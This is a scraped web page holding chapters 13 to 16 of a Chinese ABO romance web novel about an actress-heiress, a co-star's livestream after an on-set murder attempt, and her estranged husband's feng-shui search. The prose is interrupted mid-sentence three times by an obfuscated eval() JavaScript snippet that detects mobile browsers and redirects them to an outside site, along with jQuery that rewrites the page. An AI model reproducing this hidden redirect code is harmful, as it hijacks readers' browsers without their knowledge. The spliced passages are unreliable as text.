l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918548|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜千澄从小就热爱电影,尊敬每一个用心塑造角色的演员,听不得这样的污蔑辱骂:“桑椹拿奖的电影我看过,他的确演得很好,同期入围的其他演员是不错,但综合比较起来,确实是桑椹的表现更优秀……” 想起上届电影金奖的入围名单,颜千澄莫名其妙:“你连入围都没入围,就算不是桑椹得奖,也轮不到你,你生气什么?” 男Alpha演员暴怒:“就是因为他们这些臭贱Omega挡了我的路!以前都是Alpha和Beta才有资格演戏的,他们算什么东西……” 颜千澄皱眉,正要再开口,身后的桑椹拉了拉她的衣角。 颜千澄转头,看见桑椹脸色青白,双眸泪水迷蒙,嘴角却开心地翘起:“千澄姐姐,谢谢你帮我说话,已经够了啦,不用再跟他说了。这种人我见得多了,他们没有天赋,不肯努力,偏又贪心,想要很多。得不到,就把气撒在……” 眼泪快掉下来,桑椹伸手抹掉,继续微笑:“……把气撒在我们Omega身上,就跟那些去幼儿园门口屠杀小孩子的人一样……你看,他们气得发疯的时候,都没有胆量挑战强者,只敢朝弱者下手。蠢、懒、贪心、窝囊,他们这辈子就这样了,跟他们讲道理,他们听不懂的,只会脏了千澄姐姐你的嘴……” 颜千澄沉默。 她身后不远处,怨灵静静地看着一切,一身煞气起起伏伏。 导演打电话报警,警察局林局长领着一队警察过来。 “千澄,又见面了。”林局长跟颜千澄打招呼。 颜千澄苦笑:“如果可以,我希望跟林伯伯在别的情形下见面。” 林局长叹气,安慰她:“至少这次你平安无事,还成了见义勇为的大英雄……你真的没受伤吧?” 颜千澄摇头。 林局长拍拍她肩膀,去忙了。 男Alpha演员行凶时,正在拍电影,他是怎样杀人未遂,怎样被颜千澄制服,怎样冲桑椹吼叫,犯罪动机是什么……摄影机忠实地记录下一切。 案件清晰明了,警察再审问道具组的成员,查清楚他们没有跟男Alpha演员勾结,让颜千澄、桑椹和几个在场的工作人员做完笔录,就押着男Alpha演员离开了。 前后没耽误多少时间,但出了这样的事,今天是无法再拍电影了,导演让大家回去休息,调整状态。 颜千澄收拾东西,桑椹跟在她身边。 今天,桑椹一直跟着她。 早上努力找话题跟她说话。 差点被杀后,他一副失魂落魄的样子,不再主动找话题说话了,但怎么也不肯离颜千澄太远,连颜千澄上洗手间,他也要在外面等着。 考虑到桑椹今天受了惊,颜千澄没狠心赶他,可现在她要回家,不方便再让桑椹跟着了。 颜千澄斟酌着开口:“桑椹,你的保镖们在那边呢,要是还害怕,今晚可以找几个好朋友陪你。” 桑椹呆了一会儿,领会到颜千澄“我们只是同事,没有特殊关系,连好朋友都不算”,“我只能帮你到这了”,“接下来,你就自己照顾好自己吧”的意思。 他心里委屈,眼圈都红了。 自己越来越喜欢她。 喜欢得心都疼了。 她对自己,却一直客气礼貌,一如初见时。 静默中,突然响起手机铃声。 是颜千澄的。 颜千澄拿出手机。 桑椹离得近,一眼看到屏幕上“关景墨”三个大字,暗暗咬牙。 13.第 13 章 颜千澄微怔。 她跟关景墨认识多年,但一直不太熟,几乎没主动找过他。 记忆中,她唯一一次找他,是要他签婚前协议。 那次,她是让秘书打电话到关氏集团的总裁办公室的。 关景墨也没主动找过她。 现在,颜千澄才知道,原来她存了关景墨的手机号。 应该是某次学校活动时存的吧。她在校时很活跃,组织过多次活动,有时候会保存参与者的手机号,以防需要时找不到人。 颜千澄点击接通。 关景墨焦灼的声音立刻传来:“千澄!你怎么样?没事吧?” “我没事,”颜千澄淡淡说,“你听到消息了?” 关景墨稍松口气:“是的,网上说你们剧组……我……我很担心……” 他顿了顿,声音转低,小心翼翼:“我现在来接你,可以吗?” “不需要,我自己回家。”颜千澄淡淡拒绝,挂掉电话。 桑椹觉得自己的委屈平复很多。 颜千澄对她的“正宫”,也是平淡疏远,一点都不亲昵呢。 她是天生对“情爱”看得淡,还是,她真正爱的人,还未出现? 桑椹跟颜千澄道别,看着她头也不回地走远,一阵唏嘘。 不知道要多么美、多么好的人,才能被颜千澄爱上。 被颜千澄爱着,护着,宠着,不知道会是什么滋味。 一定很幸福吧…… ------ 颜千澄抵达颜氏祖宅,在大门口碰见关景墨和一个女Beta。 关景墨紧张兮兮,先是上下打量颜千澄几圈,确认她毫发无伤后,微抬头看向半空,眼里烦恼、忌惮、疑惑、决绝……种种情绪,复杂难解。 颜千澄奇怪:“怎么了?” 关景墨咬了咬嘴唇,踌躇着,小声说:“千澄,你……凡事多加小心,好不好?” 旁边的姚甜甜忍不住翻了个白眼。 废话啊。 怨灵要害人,是“凡事多加小心”,可以防范的吗? 颜千澄什么都不知道,老板突然要她“小心”,又不告诉她要小心什么,要怎样小心,她只会莫名其妙吧。 姚甜甜曾经问过关景墨,为什么不告诉颜千澄,有怨灵跟着她。 当时关景墨别过脸,望着窗外的风景,不让她看到他的表情,说:“千澄本来就不信那些,她……她也不相信我,由我来告诉她,她更不会信……” 姚甜甜好心地让可怜的老板缓了缓,继续问:“那颜千澄总有信任的人吧,让她信任的人告诉她,她会信吗?” 关景墨沉默片刻,继续望着窗外,说:“千澄是有信任的人,他是一个很好的人……请他帮忙告诉千澄,他应该会愿意,千澄也会相信他……可是,我们还没找到对付怨灵的办法,让千澄知道,只会徒增烦恼,又有什么用呢?” “至少,让颜千澄知道,你在为她付出,为她牺牲,她对你态度,会好一点啊。”姚甜甜提醒可怜的老板。 关景墨烦恼叹息:“就我犯过的错,千澄对我的态度已经够好了。现在我最想要的,不是千澄对我好,而是她平平安安!千澄是个很好的人,如果她知道我想代她死,她肯定不会让我这样做,她会自己独自承担……所以,还是别告诉她吧。我已经跟千澄最信任的那个人谈过,请他答应我,不告诉千澄,你也不要告诉她。” 老板不让任何人告诉颜千澄。 所以,所有的委屈,老板只能独自吞了。 看,颜千澄听了老板“凡事多加小心”的话,眉毛都没动一下,只是微冷着脸点点头,估计把这话当成普通的关心了。 关景墨一到颜千澄面前,智商情商就会直线下降,把最要紧的话说完后,就不知道该说什么了,手脚都不知道该怎么摆。 场面一时有点尴尬。 姚甜甜觉得,自己尬得能用脚趾扣个大别墅出来了。 见颜千澄准备进门,关景墨还在呆着,姚甜甜赶紧迎上前:“千澄你好!” 颜千澄一怔。 她刚见姚甜甜缩在关景墨后面,还以为是他的助理。 见人主动向自己打招呼,颜千澄不愿失礼,向她点头微笑:“你好,请问你是……” 这是姚甜甜第一次离颜千澄这么近,第一次跟她说话。 她瞬间理解了,为什么关景墨会恋爱脑。 这夕阳下泛着光泽的毫无瑕疵的肌肤,优美的脸颊线条,一双像蕴了绮丽星辉,令人一见就无法移开视线,魂魄都像要被她摄去的幽深眼眸…… 我的妈呀,原来真的有人,美得让人连呼吸都忘记。 姚甜甜呆了好一会儿,才想起回答颜千澄:“我叫姚甜甜,是……是玄学风水……那个……初学者……” 关景墨扶额。 昨晚,姚甜甜给了他一串莫名其妙的数字,说是救颜千澄的重要线索。 关景墨反复思索,也想不出那串数字有什么意义。 正烦恼着,就听说千澄的剧组出事了。 关景墨担心是怨灵作怪,催着姚甜甜再想办法。 姚甜甜又卜了一卦,卦象指向颜氏祖宅。 关景墨从来不认为自己是颜氏祖宅的主人,不敢做主。 本来他已经跟姚甜甜说好了,让她假装是他的远方亲戚,问问千澄能不能让她进去坐坐。 没想到姚甜甜一上来就掉了链子,说什么“玄学风水”,还“初学者”…… 姚甜甜好尴尬。 她也不想的啊。 对着颜千澄这超出她认知的顶级美人,她根本说不了谎话。 颜千澄脸色古怪,看向关景墨。 关景墨绞尽脑汁:“之前,颜董……我想着,下次我们去看她时,跟她说已经请风水师看过了,她可能会安心点……” 颜龄这招牌果然好用,颜千澄没表示反对。 只是…… 颜千澄打量姚甜甜。 年纪轻轻,心无城府,还有点冒失。 颜千澄不讨厌这样的人。 比起商场和娱乐圈里那些八面玲珑的老油条人精,颜千澄觉得,姚甜甜这样的姑娘更顺眼。 可这姑娘,根本就不像什么玄学风水大师啊。 玄学风水大师,不是应该身穿古装,一脸高深,看起来仙风道骨的吗? 如果是拍电影,请这样的姑娘扮演玄学风水大师……观众不会买账的吧? 哦,她说她是初学者…… 还挺实诚的。 大概是她自己对那方面有兴趣,自学的吧。 颜千澄是不信玄学,但碰到相信玄学,对玄学有兴趣的人,她也会尊重别人的想法,不会说三道四指手画脚。 判断眼前的女Beta可能水平不怎么样,但人品应该可以,不是骗子后,颜千澄礼貌微笑着,说一声“辛苦你了”,就让关景墨带她进去了。 关景墨松口气,先带姚甜甜去颜氏祖宅的会客室,让佣人送来茶水点心。 姚甜甜恍恍惚惚的,喝了关景墨递给她的鲜榨苹果汁,才回过神来。 “我的妈呀!”她感叹,“颜千澄好美好美!人也好温柔!你看到了吗,她刚刚对我笑了!哇哇哇啊啊啊!” 关景墨:“……” 姚甜甜宣布:“从今天起,我就是澄澄的粉丝了!” 关景墨:“……你之前见过千澄好多次了吧,怎么这次反应特别大?” 姚甜甜星星眼:“因为这次是近距离接触!我还和她说话了!啊,澄澄就像磁石,距离越近,引力越大!我这枚小铁钉,已经被她牢牢吸附住了!啊,我想和她握握手!想抱抱!想贴贴!” 关景墨:“……” 姚甜甜星星眼闪闪发亮:“身为Beta,我一直想做主动的那个,但如果对象是澄澄,我愿意被压呀……” 关景墨:“……能先做正事吗?” 姚甜甜:“……” 她突然想起,眼前这位,是她老板。 颜千澄,是她Omega老板的Alpha。 合法配偶。 而她,刚刚一时忘形,在老板面前,发表了亿点点,觊觎他的Alpha的……狼虎之词…… 老板的修养真好,真好…… 颜千澄吃完晚饭,回到房间,取出手机,被铺天盖地的消息晃了眼睛。 她出道后,网上到处都是她。 她的电影片段,她的照片视频,她的出生日期星座身高体重血型喜欢的颜色,她读过的学校,得过的奖项,老师同学对她的评语,她跟关景墨的婚姻…… 颜千澄不想看到那么多自己,她已经不看视频号,不刷论坛,不上微博了。 但架不住有些亲朋好友,喜欢把他们看到的东西转发给她。 今晚就有不少老朋友旧同学,转发同一条视频给她。 颜千澄点开一看。 是她制服男Alpha演员的全过程。 剧组里摄影老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923313|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用拍电影专用的设备拍下的,清晰专业。 老朋友旧同学们纷纷感叹。 “千澄,你又火出圈了!” “这几招好犀利,替我们武术协会争气啦。” “那男Alpha好恶心,应该多揍他几拳。” “网上好多Omega和Beta在哭着喊着说非你不嫁,你这家伙,开后宫得了。” “桑椹真人有没有屏幕上那么美?” “桑椹太惨了,多安慰一下人家啊。唉,算了,你Alpha心如铁,从来不知道什么是怜香惜玉,可怜的桑椹……” …… 颜千澄挑了些回复,正想休息,经纪人打电话来了:“千澄,有几家电视台想邀请你做访谈,你有兴趣吗?” “没有。”颜千澄答。 经纪人叹息,真是意料之中的回答。 娱乐圈的艺人,除了唱歌拍戏,往往会参加大量的宣传活动。 有时是为钱,有时是为了提升名气,有时是为了立人设,有个好形象…… 颜千澄是颜家大小姐,颜氏集团现在的主人,不缺钱。 她随便一张路人街拍放到网上,就被争相转发,不缺名气。 她只想拍戏,不在乎什么人设。 颜千澄性情温和,不摆架子,待人真诚有礼,见到她的人,几乎都会对她有好感。 就算没有刻意经营,颜千澄的形象也非常健康…… 哦,不止是健康,今天机警果敢,力擒歹徒,颜千澄已经是人人追捧的英雄了。 警察局林局长说,稍后会正式给颜千澄颁发“见义勇为”奖章,提名她为本年度优秀市民。 别的艺人要努力争取的曝光机会,对颜千澄来说,真的只是浪费时间而已。 “那我先帮你推掉,如果以后你有兴趣了,跟我说一声就好,”经纪人想了想,“对了,桑椹正在做直播访谈,他在圈子里好多年了,应对主持人、媒体和粉丝都很有经验,千澄你要不要观摩一下?等现在这部电影杀青了,估计多多少少会有类似的活动……” 颜千澄没兴趣经营自己的人设,但身为电影主演,电影杀青后,适当参与电影的宣传活动,是她的工作与义务。 颜千澄很敬业,不会因为自己没兴趣没需求,就拒绝去做这类关系到整个剧组心血的工作。 颜千澄想着,她之前只拍过一部朋友弄的小成本网剧,没啥正儿八经的宣传活动。 在颜氏集团时,是有类似的活动,但商场和娱乐圈,是两个不同的圈子。 所谓入乡随俗,她的确需要学习一下娱乐圈的前辈们,是怎样和主持人、媒体和粉丝周旋的。 于是,颜千澄点开经纪人发给她的桑椹直播间链接,虚心观摩学习了。 ------ 桑椹入行以来,电视台访谈节目、报刊杂志特约专访、电影首映礼媒体访问、颁奖典礼记者采访、新闻发布会、影友会……出席过的活动成百上千,他自己也数不清楚。 从求着人家,想方设法争取几秒钟的曝光机会,到大把资源供他挑选,被人家求着,砸大钱托关系请他在百忙之中拨冗露个脸。 从直率到圆滑,从青涩到成熟,从不知所措到谈笑自若。 一路走来,桑椹的确积累了丰富的经验。 每次活动前,他的团队都会帮他打好稿子,教他怎样回答媒体影迷的提问。 如今,他就算不看稿子,也能大方得体的应对所有问题。 就算对上娱乐圈最刁钻的记者,他也不虚。 这段时间,他想专心拍电影,本来已推掉很多活动了。 但今天,他被同剧组艺人谋杀。 全网沸腾,各大热搜前十名,都跟这事有关。 天上掉大馅饼,没理由不接。桑椹的经纪公司紧急安排了一个直播访谈。 按照公关团队的要求,妆发帮桑椹设计柔弱而坚强的形象,桑椹背了发言稿,穿上赞助商送来的一身代表着纯洁与无辜的白色西装,进直播间坐下,身边是知名金牌主持人。 主持人先是温声细语的安慰桑椹。 好端端拍着戏,却飞来横祸,被日夕相处的同事拿真刀指着,差点就被杀死…… 就算是Beta和部分胆子不大的Alpha,遇上这种事,也得后怕好久,更何况是Omega。 更何况是桑椹这样娇柔美貌,我见犹怜的Omega。 不好好安慰安慰他,主持人怕会被直播间的观众给生吃了。 14.第 14 章 熟悉的镁光灯打在脸上,桑椹扯出柔弱而坚强的微笑,感谢主持人的安慰。 再面向镜头,隔空跟观众们微笑挥手,说他很好,没事了,谢谢大家的关心。 观众们群情涌动,打赏大片大片地刷着,弹幕密密麻麻,覆盖了整个直播画面。 【呜呜呜,可怜的桑椹……】 【桑椹不怕,我们支持你!】 【杀人未遂一般判多少年?呼吁法院重判人渣!】 …… 和主持人一起读了几条弹幕,桑椹一双美眸适时泛上点点泪光,再一次感谢大家的关心。 温馨的互动完毕,主持人委婉地询问桑椹事情经过。 桑椹其实不想说。 那件事发生之后,很多人安慰他。 同剧组的演员和工作人员,他的团队和经纪公司的人,他的影迷……人们变着花样安慰他。 可是…… 那把他原以为很安全,但其实已被掉包,差点取他性命的匕首。 男Alpha狠戾的眼神。 同行要杀他的理由。 这一切,对桑椹的伤害,根本不是区区几句安慰能疗愈的。 桑椹需要的是安全感。 今天,他一直跟着颜千澄。 后来,他都忘了他是想攻略颜千澄了,忘了他苦苦思索一夜的绿茶话术了。 他只是本能地,想待在颜千澄身边。 因为他觉得,偌大的片场里,只有颜千澄的身边,是安全的。 颜千澄离开后,桑椹只想自己一个人静静地待着,让时间慢慢抚平自己的情绪。 不想被别人一遍又一遍地提醒,他遭遇了什么事。 不想将自己的伤口摊开,让全世界观看,让不相关的人评论感叹,指指点点。 可桑椹也知道,现在人们最希望的,就是听当事人亲口讲述事情经过。 他暗暗告诫自己,身为艺人,观众的喜好,比他自己的感受重要。 就当是在演一场不喜欢的戏吧,将自己分成两半,演技精湛的一半推到镜头前,真实的一半藏在后面。 桑椹调整好心态,一脸柔弱而坚强,一句接一句背诵团队写给他的稿子,讲述当时剧组在拍什么戏,男Alpha演员怎样用匕首指向他,颜千澄怎样突然将他护到身后,怎样控制住男Alpha演员,怎样发现匕首掉包了,男Alpha演员又是怎样骂他。 主持人唏嘘感叹着听桑椹讲完,想着桑椹是个娇软柔弱的Omega,又好好安慰他一番。 桑椹一脸感动,再一次感谢主持人,感谢关心他的热心群众。 直播间的打赏金额与弹幕数量再一次冲上高峰。 当事人讲完事情经过,该谈谈感想了。 主持人满脸同情:“发生这样的事,桑椹你一定很害怕吧,嗯……除了害怕,可以跟我们说说,你心里有什么感受吗?” 桑椹看着主持人。 真实的桑椹无声呐喊:“什么感受?这还用说嘛!我当然很讨厌那家伙,我还很讨厌你,啰里啰嗦的烦死人了,能不能搞快些,让我早点收工?我现在只想自己一个人待着!” 演技精湛的桑椹垂下眼帘,让灯光打在自己浓密卷翘的长睫上,泪光若隐若现,声音哽咽:“我心里很难过。” 主持人递上纸巾,摆出耐心倾听的姿势。 直播前,桑椹的经纪公司跟主持人沟通过,要让桑椹适当卖一卖惨,赚赚粉丝的眼泪,搏博路人的同情。 现在,是时候了。 演技精湛的桑椹很上道,接过主持人的纸巾,礼貌道谢,然后就哽咽着,讲述身为一个Omega,在娱乐圈里摸爬滚打,是多么多么的不容易。 是经历了怎样怎样的艰难困苦,才终于取得今时今日的成就。 可他那么不容易,那么辛苦,那么努力,还被人骂,被人杀…… 一边讲,一边时不时的掉掉眼泪。 桑椹从影多年,知道在镜头下怎样哭最好看。 卖完惨,直播间连线几位影坛大腕,大腕们盛赞桑椹演技精湛,得奖实至名归。 这是为桑椹正名。 明眼人都知道,今天的刺杀事件,桑椹是无辜的受害者。 他入行做演员,不是他的错。 演戏演得好,得奖,不是他的错。 被嫉妒,不是他的错。 被谋杀,更不是他的错。 真正有错的,有罪的,是男Alpha演员这个施暴者。 但这世上,偏有很多自作聪明的人,不看事实,只相信自己的想象,眼睛一闭嘴一张,就发表“受害者有罪论”: “为什么坏人不杀别人,偏偏就杀你?” “苍蝇不叮无缝的蛋。” “反正娱乐圈里就没有干净的人,桑椹能混到这咖位,肯定没少干见不得人的事……” …… 这类人心底龌蹉又冥顽不灵,不往外散播负能量,他们就不舒服。 偏偏世上明眼人太少,没有分辨能力的人太多太多,他们会跟在真正的恶人身后,网暴受害者,往受害者身上再插几刀。 桑椹知道厉害,打起精神,演技精湛的自我与真实的自我合二为一,诚挚感谢发声支援他的同行,配合经纪公司把控舆论导向。 这次直播,时间紧迫,桑椹的经纪公司只来得及跟主持人商定“卖惨”与“正名”两个关键环节。 主持人和桑椹都入行多年,经验丰富,之前也曾一起做过节目,经纪公司以为,这次他们两人也会合作愉快。 最重要的两个环节,的确是顺利完成了。直播间打赏金额再创新高,大部分弹幕都是支持同情桑椹的,少数不和谐的就不用管了。 经纪公司、桑椹和主持人都暗暗松了一口气。 接下来,就是主持人和桑椹两人根据现场状况,临时发挥了。 知名金牌主持人之所以知名,是他主持的节目,不仅能刺激观众的感官,还有深度。 主持人现在要挖掘一下,这件新鲜热辣谋杀事件的深度。 比如,Alpha和Omega的性别对立。 比如,对于Omega在事业上的成就,社会各阶层是怎样看待的。 比如,光鲜亮丽的娱乐圈里,埋藏着多少黑暗。 …… “你会因为这件事,对Alpha产生PTSD吗?”考虑到桑椹童星出道,文化水平不高,主持人解释,“就是Post-Traumatic Stress Disorder,创伤后应激障碍,因为曾被Alpha谋杀,从此害怕Alpha……桑椹你会吗?” Alpha与Omega的性别对立,是长盛不衰的热点。 主持人是Beta,隔岸观火,自认为是中立的,客观的。 他给自己的定位,是“为Omega仗义执言,帮助Omega抵抗Alpha侵害的正义骑士”。 今天这事,拿刀子杀人的,是Alpha,被谋害的,是Omega。 杀人的Alpha还对被谋杀的Omega破口大骂,发表大量性别歧视言论。 可以蹭上那个热点! 必须蹭一蹭! 桑椹看着主持人。 真实的桑椹无声鄙视:“PTSD是网络热词,我文化水平是低,但没低到听不懂。你心里鄙视我,当我看不出来?” “哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931265|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼,我还鄙视你没见识过大场面呢!在国际级的剧组当主演,你试过吗?在最顶尖的团队里,内斗是有,但要完成一个伟大而美好的作品,需要不同国家不同肤色的男女Alpha、男女Beta和男女Omega,所有人一起通力合作。” “合作!!!拿出敬业精神,摒除偏见,放下怨恨,求同存异,共同努力!!!” “你这只会破坏,不会建设,只会恨,不会爱的家伙,懂么?” “因为个别神经病,对整个性别的人PTSD,我以后还用不用混了?天天缩在家里,数数存款还够我过几个月得了。” “对了,那神经病要杀我,归根到底,是因为他嫉妒我,不是因为他是Alpha。这样内心丑陋的人,就算他是Beta或Omega,迟早也会嫉妒上我,拿刀子杀我。我就算要PTSD,难道不是应该对那些没能力又心气高的底层演员PTSD吗?” “你这家伙,不想想深层原因,一张口就先扯什么性别对立,蹭热点蹭得连智商都丢了?” “我要是被你引导了,那我成什么了?蠢毒人手里的刀?” “哎呀好烦好烦!该做的工作,我已经做完了啊!好想收工!” 演技精湛的桑椹乖巧微笑,将争议话题轻巧带过:“不会的,我觉得Alpha里是有坏人,但也有好人呢。今天挺身而出,救了我的,也是一个Alpha呢。” 大量弹幕排着队形,刷【桑椹小天使】。 也有部分弹幕在骂Alpha,骂桑椹身为Omega,却不努力为Omega争取权益,只会谄媚Alpha。 主持人眼光落到那条“谄媚Alpha”的弹幕上。 真实的桑椹无声愤慨:“我身为Omega,努力工作,克服种种困难,成为影坛首屈一指的人物,鼓舞了无数Omega后辈,让其它性别的制片导演演员们相信,Omega也能成为一个好演员,难道不算为Omega争取权益吗?” “自小出道一路走到今天,遇到困难的时候,被杀的时候,也不见那些家伙帮过我什么。” “只会在网上满口喷粪,说我做得不好,不够……他们怎么不想想,自己又做过什么。” “觉得Omega在职场婚恋上受歧视,进可自己努力工作,成为行业头部掌握话语权,退可不婚不育保平安。” “只会仇视别人,在网上骂Alpha,骂其他Omega,又有什么用?” “你们这样为难我这个Omega,跟今天拿刀杀我的Alpha,又有什么区别?” 演技精湛的桑椹抢在主持人发问前,眉目笼上轻愁,三言两语诉说Omega的不容易,呼吁社会多理解,多支持。 然后,为防主持人把话题再扯到乱七八糟的地方去,桑椹把主动权拿回来,给谋杀事件定个调,顺便装一把好前辈:“今天的事,我最大的感受,是现在社会戾气有点重了。咱们都要多关注心理健康。大家心里要是有什么不舒服,自己难以排解的,可以找心理医生聊聊,这个不丢人的。咱们的身体会感冒发烧,咱们的心呀,有时候也会有点不舒服,很正常的……” 主持人心目中的爆点,被桑椹轻轻带过,有点不甘心,等桑椹说完,他突然想起,还有个热点可以蹭一下。 颜千澄! 主持人的要求也不高,以颜千澄的名气人气,单是提一下她的名字,就能提高这次直播的热度。 “当时出手救了你的Alpha,是颜千澄呢。千澄出道时间不长,已成为娱乐圈冉冉升起的巨星了。桑椹你是头一回和千澄合作吧,可以跟我们说说,你们私下交情怎样,你心里对她,是怎么想的吗?” 主持人笑眯眯地问。 16-20 第16章 直播间。 桑椹感性的一半,在脑海里反复播放颜千澄今天救他的影像。 她是怎样将他护到身后,怎样制住凶徒,怎样为他说话…… 强烈的情感,潮水般起伏翻涌。 心底深处的小黑屋里,真实的桑椹坐在冰冷地板上,紧紧抱着自己的膝盖,无声痛哭。 镁光灯下,演技精湛的桑椹扯起嘴角,勉强笑了笑。 双唇掩饰不住地微微颤抖。 最终。 “颜千澄……是一个特别好的Alpha,如果不是英年早婚,我可能会……倒追她……” 说完这话,桑椹眼眶一酸。 差点崩了,勉强熬着。 时间仿佛凝固了片刻。 然后,弹幕爆炸了。 【这是……隔空表白???@颜千澄】 【???我粉桑椹好多年了,第一次听他说出这么暧昧的话】 【果真是一见颜千澄误终身吗?连玉O掌门人桑椹都逃不掉?】 【如果我是桑椹,也会爱上澄澄啊!她那么美,又有钱,还安全感十足,空手压制一个拿刀子的男Alpha跟玩似的,偶像剧主角一样完美的Alpha,谁能不爱?*】 【颜千澄已婚,桑椹想当小三】 【当别人的小三,我会鄙视他,当澄澄的小三,桑椹,我支持你!关景墨根本就配不上澄澄!她应该有个好O好好爱她!】 【我们桑椹才不会当三!他说的是“如果不是英年早婚”“可能会倒追”,明显只是开玩笑啊】 【对对,颜千澄救了桑椹一命,桑椹就用夸张点的词汇,表达对颜千澄的欣赏,提携一下新人】 【澄澄也不需要他提携啊】 【别给澄澄招黑,多个朋友多条路,桑椹挺好的,长得美有实力,形象健康,在娱乐圈混了这么多年都没啥黑料,跟我们澄澄志同道合,比某人好太多太多了】 【关景墨必须死!!!】 …… 从主持人提起颜千澄那刻起,桑椹的经纪人就捏了把冷汗,心脏提到嗓子眼。 跟了桑椹多年,怎会看不出,桑椹对颜千澄,是真的上心了? 之前,桑椹不正常的沉默,把经纪人的魂都快吓没了。 提心吊胆,听完桑椹的回答。 经纪人眼前黑了黑。 对颜千澄的好感,表达得也太明显了! 洗不掉了! 幸好! 桑椹没完全昏头!还记得最低限度地保护自己的形象!还记得颜千澄已婚!还记得用开玩笑的语气! 稍后多派水军下场,引导引导,或许可以大事化小,小事化了。 或许可以不让“小三”的帽子落到他头上。 哦,看弹幕的反应,颜千澄的正宫太不讨好了,就算桑椹真的去当三,好像……也不会身败名裂? 甚至有可能,收获一批新粉? 经纪人看见主持人还想问什么,不敢再多想,赶紧去阻止。 桑椹的状态已经很糟糕了,让他继续直播,不知道会出什么事。 都怪这主持人!什么东西!以后再也不跟这家伙合作了! 直播结束。 桑椹被团队簇拥着,回到住处。 他锁上门,脱力地滑坐在大理石地板上,紧紧抱着自己,一动不动。 这次,真的好累。 颜千澄关掉屏幕。 直播里,主持人和桑椹在微笑的掩盖下,无声的交锋,她看到了。 商场如战场,刀光剑影,处处险途。 娱乐圈,看起来,比商场简单不了多少。 颜千澄早已习惯,无所畏惧。 但,如果可以选择,她自然是更喜欢简单点的世界。 颜千澄叹气,站起身,想散散步再睡觉。 走下楼梯,看见关景墨和姚甜甜。 两人商量着什么,关景墨蹙眉:“不能再精确点吗?这附近有储物室,有书房,远点还有个小厨房,东西多,很难找的。” 姚甜甜哀叹:“报告老板,小的已经尽力了。” 关景墨正烦恼着,突然若有所觉地抬头,失声喊:“千澄!” 他又一惊一乍的。 幸好,这次手机在他衣袋里,没再被摔一次。 颜千澄:“……” 她是不喜欢关景墨。 甚至可以说,心里对他有气。 这段时间,关景墨没再作妖,辛辛苦苦帮她经营管理颜氏,真心照顾她祖母,她看在眼里。 再看到网上那么多人辱骂他,诅咒他…… 颜千澄觉得,关景墨是有错,但真的罪不至死。 她心里的气,多多少少散去了些。 可关景墨每次看见她,都跟老鼠见到猫似的。 紧张,拘谨,小心翼翼得过分。 明明,关景墨的总裁助理卫蓝,她安插在他身边的心腹,曾跟她报告说,关景墨在颜氏集团时,处事果断,比很多Alpha高管气势还足的。 颜千澄不由得想,我有那么吓人吗 曾经极其亲密的一对Alpha与Omega,一时都不知道该说什么,僵持着。 Beta姚甜甜又尴尬得脚趾扣地。 等了好一会儿,见关景墨又停止运转了,颜千澄又准备走了,只好自己上:“澄澄!你知道6,12,130这几个数字,是指什么吗?” 颜千澄一怔。 “我之前卜卦,卜到这几个数字,再卜,卦象指向这里,”姚甜甜承受着颜千澄的美貌暴击,努力把话说清楚,“你们家这么大,是不是有坐标?” 关景墨:“……” 坐标? 这里又不是网游里的场景。 其实,如果关景墨自己努力过后,还找不到答案,为了救颜千澄,他也会厚起脸皮去问她。 反正扔掉脸皮厚颜无耻,他也不是第一第二回了。 但……如果可以,他一点也不想打扰千澄…… 听到姚甜甜的问题,颜千澄脸色有点古怪,想了想,说:“我家没有坐标,但那边书房的书有编号,可能有符合你刚说的几个数字的。” 姚甜甜眼睛一亮。 颜千澄看着关景墨:“书房从里到外,从东到西数,第6个书架,从下往上数,第12层,从左到右数,第130本书,看看是不是你们要找的东西。” 关景墨赶紧点头,请示颜千澄:“东西找到后,我先拿给你看。” “不必了,你看着办吧。”颜千澄拒绝。 她不知道关景墨和姚甜甜要做什么事,要找什么东西。 想来是跟玄学风水有关。 她实在没兴趣。 会帮着想办法,一是,看出姚甜甜是真心热爱玄学。 别人也许会说她不务正业,旁门左道。 颜千澄不会。 因为颜千澄身为大集团的继承人,自小热爱演戏,在别人眼中,也是不务正业,旁门左道。 她会共情有小众兴趣的人。 就算他们的爱好,她不懂,只要他们的爱好不违背法律法规,不危害别人,如有需要,她都愿意帮一把。 二是…… 颜千澄叹气,收敛自己的个人情绪,公事公办般,对关景墨说:“你也是颜氏祖宅的主人。关于这屋子,有什么问题,你都可以来问我,这屋子的东西,除了我房间里的,你都可以自行处置。” 她是不喜欢关景墨。 关景墨跟她理想中的恋爱结婚对象,有太大的差别。 如果不是意外标记了他,心里多少有些愧疚。 如果不是最敬爱的祖母病重,不忍违背她的遗愿。 颜千澄绝对不会跟关景墨结婚。 但,无论如何,这婚已经结了。 颜千澄自小接受祖母严格的商业培训,深具协议精神。 婚后,关景墨用心帮她经营打理颜氏,颜千澄也做不出要人干活,又不给人相应地位与待遇的混账事来。 她是有防范关景墨,用婚前协议适当限制他。 这是为了保护颜氏集团。 她是对关景墨有情绪,不喜欢他,不会碰他,对他没什么好脸色。 